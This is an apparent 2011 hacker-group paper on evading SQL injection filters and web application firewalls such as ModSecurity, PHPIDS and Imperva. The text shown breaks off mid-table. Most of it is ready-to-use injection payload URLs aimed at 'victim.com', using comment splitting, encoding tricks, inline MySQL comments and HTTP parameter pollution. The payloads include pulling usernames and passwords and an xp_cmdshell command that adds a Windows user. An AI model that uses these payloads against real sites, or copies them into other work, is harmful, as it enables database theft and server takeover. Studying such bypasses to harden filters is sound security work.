2011 ]=-----------------------=| |=----------------------=[ By CWH Underground ]=--------------------=| |=--------------------------------------------------------------------=| ###### Info ###### Title : Beyond SQLi: Obfuscate and Bypass Author : "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan" Team : CWH Underground [http://www.exploit-db.com/author/?a=1275] Date : 2011-10-06 ########## Contents ########## [0x00] - Introduction [0x01] - Filter Evasion (Mysql) [0x01a] - Bypass Functions and Keywords Filtering [0x01b] - Bypass Regular Expression Filtering [0x02] - Normally Bypassing Techniques [0x03] - Advanced Bypassing Techniques [0x03a] - HTTP Parameter Pollution: Split and Join [0x03b] - HTTP Parameter Contamination [0x04] - How to protect your website [0x05] - Conclusion [0x06] - References [0x07] - Greetz To ####################### [0x00] - Introduction ####################### Welcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on. This papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection. There are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system in the real world even though you spend more than 300,000 USD on a WAF. This paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information. Section 0x01, we give a details of how to bypass filter including basic, function and keyword. Section 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF. Section 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, "HTTP Parameter Contamination". and "HTTP Pollution: Split and Join". Section 0x04, we guide to protect your own website on the right solution. The last, section 0x05, It's conclusion from Section 0x01-0x04. ################################# [0x01] - Filter Evasion (Mysql) ################################# This section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions. This means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks. +++++++++++++++++++++++++++++++++++++++++++++++++++ [0x01a] - Bypass Functions and Keywords Filtering +++++++++++++++++++++++++++++++++++++++++++++++++++ Functions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful. However, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users when the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques. Keyword filer: and, or ---------------------------------------------------------------------- PHP filter code: preg_match('/(and|or)/i', $id) THe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &&, || instead of and, or respectively. Filtered injection: 1 or 1 = 1 1 and 1 = 1 Bypassed injection: 1 || 1 = 1 1 && 1 = 1 ---------------------------------------------------------------------- Keyword filer: and, or, union ---------------------------------------------------------------------- PHP filter code: preg_match('/(and|or|union)/i', $id) The keyword union is generally used to generate an malicious statement in order to select extra data from the database. Filtered injection: union select user, password from users Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin' ** Remark: you have to know table name, column name and some data in the table, otherwise you have to get it from information_schema.columns table using other statement e.g. use substring function to get each character of table names. ---------------------------------------------------------------------- Keyword filer: and, or, union, where ---------------------------------------------------------------------- PHP filter code: preg_match('/(and|or|union|where)/i', $id) Filtered injection: 1 || (select user from users where user_id = 1) = 'admin' Bypassed injection: 1 || (select user from users limit 1) = 'admin' ---------------------------------------------------------------------- Keyword filer: and, or, union, where, limit ---------------------------------------------------------------------- PHP filter code: preg_match('/(and|or|union|where|limit)/i', $id) Filtered injection: 1 || (select user from users limit 1) = 'admin' Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin' ---------------------------------------------------------------------- Keyword filer: and, or, union, where, limit, group by ---------------------------------------------------------------------- PHP filter code: preg_match('/(and|or|union|where|limit|group by)/i', $id) Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin' Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1 ---------------------------------------------------------------------- Keyword filer: and, or, union, where, limit, group by, select ---------------------------------------------------------------------- PHP filter code: preg_match('/(and|or|union|where|limit|group by|select)/i', $id) Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 Bypassed injection: 1 || 1 = 1 into outfile 'result.txt' Bypassed injection: 1 || substr(user,1,1) = 'a' ---------------------------------------------------------------------- Keyword filer: and, or, union, where, limit, group by, select, ' ---------------------------------------------------------------------- PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id) Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 Bypassed injection: 1 || user_id is not null Bypassed injection: 1 || substr(user,1,1) = 0x61 Bypassed injection: 1 || substr(user,1,1) = unhex(61) ---------------------------------------------------------------------- Keyword filer: and, or, union, where, limit, group by, select, ', hex ---------------------------------------------------------------------- PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id) Filtered injection: 1 || substr(user,1,1) = unhex(61) Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36)) ---------------------------------------------------------------------- Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr ---------------------------------------------------------------------- PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id) Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36)) Bypassed injection: 1 || lpad(user,7,1) ---------------------------------------------------------------------- Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr, white space ---------------------------------------------------------------------- PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id) Filtered injection: 1 || lpad(user,7,1) Bypassed injection: 1%0b||%0blpad(user,7,1) ---------------------------------------------------------------------- From the above examples, it can be seen that there are a number of SQL statements used for bypassing the black list although the black list contains many keywords and functions. Furthermore, there are a huge SQL statements, that are not on the mentioned examples, that can be used to bypass the black list. Creating a bigger black list is not a good idea to protect your own websites. Remember, the more keywords and functions filtering, the less user friendly. +++++++++++++++++++++++++++++++++++++++++++++++ [0x01b] - Bypass Regular Expression Filtering +++++++++++++++++++++++++++++++++++++++++++++++ Regular expression filtering is a better solution to prevent SQL injection than keywords and functions filtering because it is used pattern matching to detect attacks. Valid users are allowed to submit more flexible input to the server. However, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6. PHPIDS generally blocks input containing = or ( or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or ' symbols. [Code]--------------------------------------------------------------- filtered injection: 1 or 1 = 1 Bypassed injection: 1 or 1 [End Code]----------------------------------------------------------- [Code]--------------------------------------------------------------- filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users' filtered injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z' filtered injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122) Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a Bypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273 [End Code]----------------------------------------------------------- ######################################## [0x02] - Normally Bypassing Techniques ######################################## In this section, we mention about the techniques to bypass Web Application Firewall (WAF). First thing you need to know what's WAF? A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified. WAFs are often called 'Deep Packet Inspection Firewalls' coz they look at every request and response within the HTTP/HTTPS/SOAP/XML-RPC/Web service lacers. Some modern WAF systems work both with attack signatures and abnormal behavior. Now Let's rock to understand How to breach it with obfuscate, All WAFs can be bypassed with the time to understand their rules or using your imagination !! 1. Bypass with Comments SQL comments allow us to bypass a lot of filtering and WAFs. [Code]--------------------------------------------------------------- http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3-- [End Code]----------------------------------------------------------- 2. Case Changing Some WAFs filter only lowercase SQL keyword. Regex Filter: /union\sselect/g [Code]--------------------------------------------------------------- http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3-- [End Code]----------------------------------------------------------- 3. Replaced keywords Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily. [Code]--------------------------------------------------------------- http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3-- [End Code]----------------------------------------------------------- Some case SQL keyword was filtered out and replaced with whitespace. So we can use "%0b" to bypass. [Code]--------------------------------------------------------------- http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3-- [End Code]----------------------------------------------------------- For Mod_rewrite, Comments "/**/" cannot bypassed. So we use "%0b" replace "/**/". Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html 4. Character encoding Most CMSs and WAFs will decode and filter/bypass an application input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while application keep decoding the SQL statement executing [Code]----------------------------------------------------------------------------------------------------------------- http://victim.com/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users-- [End Code]------------------------------------------------------------------------------------------------------------- Moreover, these techniques can combine to bypass Citrix Netscaler - Remove all "NULL" words - Use query encoding in some parts - Remove the single quote character "'" - And Have fun !! Credit: Wendel Guglielmetti Henrique and "Armorlogic Profense" prior to 2.4.4 was bypassed by URL-encoded newline character. #Real World Example 1. NukeSentinel (Nuke Evolution) [Nukesentinel.php Code]------------------------------------------------------------ // Check for UNION attack // Copyright 2004(c) Raven PHP Scripts $blocker_row = $blocker_array[1]; if($blocker_row['activate'] > 0) { if (stristr($nsnst_const['query_string'],'+union+') OR \ stristr($nsnst_const['query_string'],'%20union%20') OR \ stristr($nsnst_const['query_string'],'*/union/*') OR \ stristr($nsnst_const['query_string'],' union ') OR \ stristr($nsnst_const['query_string_base64'],'+union+') OR \ stristr($nsnst_const['query_string_base64'],'%20union%20') OR \ stristr($nsnst_const['query_string_base64'],'*/union/*') OR \ stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row); die("BLOCK IP 1 " ); } } [End Code]------------------------------------------------------------------------- We can bypass their filtering with these script: Forbidden: http://victim.com/php-nuke/?/**/union/**/select….. Bypassed : http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select… Bypassed : http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect… 2. Mod Security CRS (Credit: Johannes Dahse) [SecRule]-------------------------------------------------------------------------- SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none, t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block, msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1', tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}', setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}, setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}" [End Rule]------------------------------------------------------------------------- We can bypass their filtering with this code: [Code]------------------------------------------------------------------------------ http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user [End Code]-------------------------------------------------------------------------- From this attack, We can bypass Mod Security rule. Let see what's happen !! MySQL Server supports 3 comment styles: - From a "#" character to the end of the line - From a "--" sequence to the end of the line - From a /* sequence to the following */ sequence, as in the C programming language. This syntax enables a comment to extend over multiple lines because the beginning and closing sequences need not be on the same line. The following example, We used "%0D%0A" as the new line characters. Let's take a look at the first request(to extract the DB user) The resulting SQL payload looked something like this: 0 div 1 union#foo*/*/bar select#foo 1,2,current_user However the SQL payload, when executed by the MySQL DB, looked something like this: 0 div 1 union select 1,2,current_user 5. Buffer Overflow WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data. Give a large amount of data allows our code executing [Code]------------------------------------------------------------------------------ http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141 414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10-- [End Code]-------------------------------------------------------------------------- 6. Inline Comments (Mysql Only) From MySQL 5.0 Reference Manual, MySQL Server supports some variants of C-style comments. These enable you to write code that includes MySQL extensions, but is still portable, by using comments of the following form: /*! MySQL-specific code */ In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement, but other SQL servers will ignore the extensions. A lot of WAFs filter SQL keywords like /union\sselect\ig We can bypass this filter by using inline comments. [Code]------------------------------------------------------------------------------ http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3-- [End Code]-------------------------------------------------------------------------- Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments [Code]------------------------------------------------------------------------------ http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()-- [End Code]-------------------------------------------------------------------------- ######################################## [0x03] - Advanced Bypassing Techniques ######################################## In this section, we offer 2 techniques are "HTTP Pollution: Split and Join" and "HTTP Parameter Contamination". From these techniques can bypass a lot of OpenSource and Commercial Web application firewall (WAF) ++++++++++++++++++++++++++++++++++++++++++++++++++++ [0x03a] - HTTP Parameter Pollution: Split and Join ++++++++++++++++++++++++++++++++++++++++++++++++++++ HTTP Pollution is a new class of injection vulnerability by Luca Carettoni and Stefano Di Paola. HPP is a quite simple but effective hacking technique. HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting query string. Example of HPP: "http://victim.com/search.aspx?par1=val1&par1=val2" HTTP Parameter Handling: (Example) +------------------------------------------------------------------+ | Web Server | Parameter Interpretation | Example | +------------------------------------------------------------------+ | ASP.NET/IIS | Concatenation by comma | par1=val1,val2 | | ASP/IIS | Concatenation by comma | par1=val1,val2 | | PHP/Apache | The last param is resulting | par1=val2 | | JSP/Tomcat | The first param is resulting | par1=val1 | | Perl/Apache | The first param is resulting | par1=val1 | | DBMan | Concatenation by two tildes | par1=val1~~val2 | +------------------------------------------------------------------+ What would happen with WAFs that do Query String parsing before applying filters ? (HPP can be used even to bypass WAFs) Some loose WAFs may analyze and validate a single parameter occurrence only (first or last one). Whenever the deal environment concatenates multiple occurrences (ASP, ASP.NET, DBMan,…) an aggressor can split the malicious payload. In a recent penetration test (Again), we were able to bypass a Imperva SecureSphere using "HPP+Inline Comment" on ASP/ASP.NET environment. This technique can bypass other Commercial WAFs too. More information about "HPP+Inline Comment" show below: #Real World Example: 1. Mod Security CRS (Credit: Lavakumar Kuppan) The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked. Forbidden: http://victim.com/search.aspx?q=select name,password from users When the same payload is split against multiple parameters of the same name ModSecurity fails to block it. Bypassed : http://victim.com/search.aspx?q=select name&q=password from users Let's see what's happen, ModSecurity's interpretation is q=select name q=password from users ASP/ASP.NET's interpretation is q=select name,password from users *Tip: This attack can be carried out on a POST variable in a similar way 2. Commercial WAFs Forbidden: http://victim.com/search.aspx?q=select name,password from users Now we use HPP+Inline comment to bypass it. Bypassed : http://victim.com/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users Analyzing, WAF's interpretation is q=select/* q=*/name q=password/* q=*/from/* q=*/users ASP/ASP.NET's interpretation is q=select/*,*/name,password/*,*/from/*,*/users q=select name,password from users 3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs) Forbidden: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT /add” -- Now we use HPP+Inline comment to bypass it. Bypassed : http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ -- Analyzing, WAF's interpretation is id=1’; /* id=1*/ EXEC /* id=1*/ master..xp_cmdshell /* id=1*/ “net user zeq3ul UrWaFisShiT” /* id=1*/ -- ASP/ASP.NET's interpretation is id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user zeq3ul UrWaFisShiT” /*,1*/ -- id=1’; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT” -- The easiest mitigation to this attack would be for the WAF to disallow multiple instances of the same parameter in a single HTTP request. This would prevent all variations of this attack. However this might not be possible in all cases as some applications might have a legitimate need for multiple duplicate parameters. And they might be designed to send and accept multiple HTTP parameters of the same name in the same request.To protect these applications the WAF should also interpret the HTTP request in the same way the web application would. ++++++++++++++++++++++++++++++++++++++++ [0x03b] - HTTP Parameter Contamination ++++++++++++++++++++++++++++++++++++++++ HTTP Parameter Contamination (HPC) original idea comes from the innovative approach found in HPP research by exploring deeper and exploiting strange behaviors in Web Server components, Web Applications and Browsers as a result of query string parameter contamination with reserved or non expects characters. Some facts: - The term Query String is commonly used to refer to the part between the "?" and the end of the URI - As defined in the RFC 3986, it is a series of field-value pairs - Pairs are separated by "&" or ";" - RFC 2396 defines two classes of characters: Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] ` Different web servers have different logic for processing special created requests. There are more web server, backend platform and special character combinations, but we will stop here this time. Query string and Web server response (Example) +-----------------------------------------------------------+ | Query String | Web Servers response / GET values | +-----------------------------------------------------------+ | | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP | +-----------------------------------------------------------+ | ?test[1=2 | test_1=2 | test[1=2 | | ?test=% | test=% | test= | | ?test%00=1 | test=1 | test=1 | | ?test=1%001 | NULL | test=1 | | ?test+d=1+2 | test_d=1 2 | test d=1 2 | +-----------------------------------------------------------+ Magic character "%" affect to ASP/ASP.NET +--------------------------------------------------------------------+ | Keywords | WAF | ASP/ASP.NET | +--------------------------------------------------------------------+ | sele%ct * fr%om.. | sele%ct * fr%om.. | select * from.. | | ;dr%op ta%ble xxx | ;dr%op ta%ble xxx | ;drop table xxx | | | |